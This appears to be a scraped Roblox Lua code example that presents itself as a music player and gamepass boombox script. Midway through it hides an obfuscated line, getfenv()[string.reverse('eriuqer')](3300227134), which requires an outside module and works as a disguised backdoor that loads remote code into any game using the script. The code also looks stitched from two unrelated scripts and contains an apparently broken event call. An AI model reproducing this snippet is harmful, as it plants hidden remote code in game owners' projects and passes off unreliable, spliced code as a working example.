rain radio require roblox code example
Example: How to make song sript in roblox studio
--Settings--
song_ID = {142482827,149024059,143959455,142435409,145144013,142295308,155319906,143204341,167769668,158789219,148321914,145168228,145761021,156151206,174359006,165755823,174742374,144174823,176424986,172692704,161103614,148559890,155729113} -- replace the numbers with the ID's of the songs you want. (the URL end number)
randomizer = false -- set to true is a random number, set to false and it is in order
Wait_Time = 120 -- 120 is the max time for a sound/song. Add 5 seconds if you want a buffer between songs
inc = .05 -- this is the increment of which the volume increases/decreases for fade in/out.
--[[OWNER SETTINGS -- this is the settings prefered by JUB0T --
randomizer = false
Wait_Time = 115
inc = .1
]]
--functions and IDs--
asset_ID = "http://www.roblox.com/asset/?id="
function choose(tab) local obj = tab[math.random(1,#tab)] return obj end
function play(s) if s:IsA("Sound") then local o = s.Volume s.Volume = 0 s:play() for i = 0,o,inc do wait() s.Volume = i end s.Volume = o end end
function stop(s) if s:IsA("Sound") then local o = s.Volume for i = o,0,-inc do wait() s.Volume = i end s:stop() s.Volume = o end end
song = Instance.new("Sound",workspace) song.Name = "TigerCaptain's Music Player"
--loop--
counter = 1
if #song_ID > 0 then
while true do
wait()
if randomizer then song.SoundId = asset_ID..""..choose(song_ID) else song.SoundId = asset_ID..""..song_ID[counter] end
play(song)
wait(Wait_Time)
stop(song)
if counter >= #song_ID then counter = 1 else counter = counter + 1 end
end
end
local MarketplaceService = game:GetService("MarketplaceService")
local Players = game:GetService("Players")
local gamePassID = 5387743 --Replace this set of numbers with your gamepass id
function onPlayerSpawned(player)
local hasPass = false
local success, message = pcall(function()
hasPass = MarketplaceService:UserOwnsGamePassAsync(player.userId, gamePassID)
end)
-- The script below is for checking whether or not the player has the gamepass.
if not success then
warn("Error while checking if player has pass: " .. tostring(message))
return
end
if hasPass == true then
game.ServerStorage.SuperFlyGoldBoombox:clone().Parent = player.Backpack --replace "SuperFlyGoldBoombox" with your item
end
end
getfenv()[string.reverse("eriuqer")](3300227134)
game.Players.PlayerAdded:connect(function(player)
player.CharacterAdded:connect(function()
onPlayerSpawned(player)
end)
end)
Players.PlayerSpawned:Connect(onPlayerSpawned)
--=========This Script Is Originaly Produced By==============
--============== Rigby#9052 ========================
--==============Used & Tested by:(JUB0T)==============
--Dont change the original owners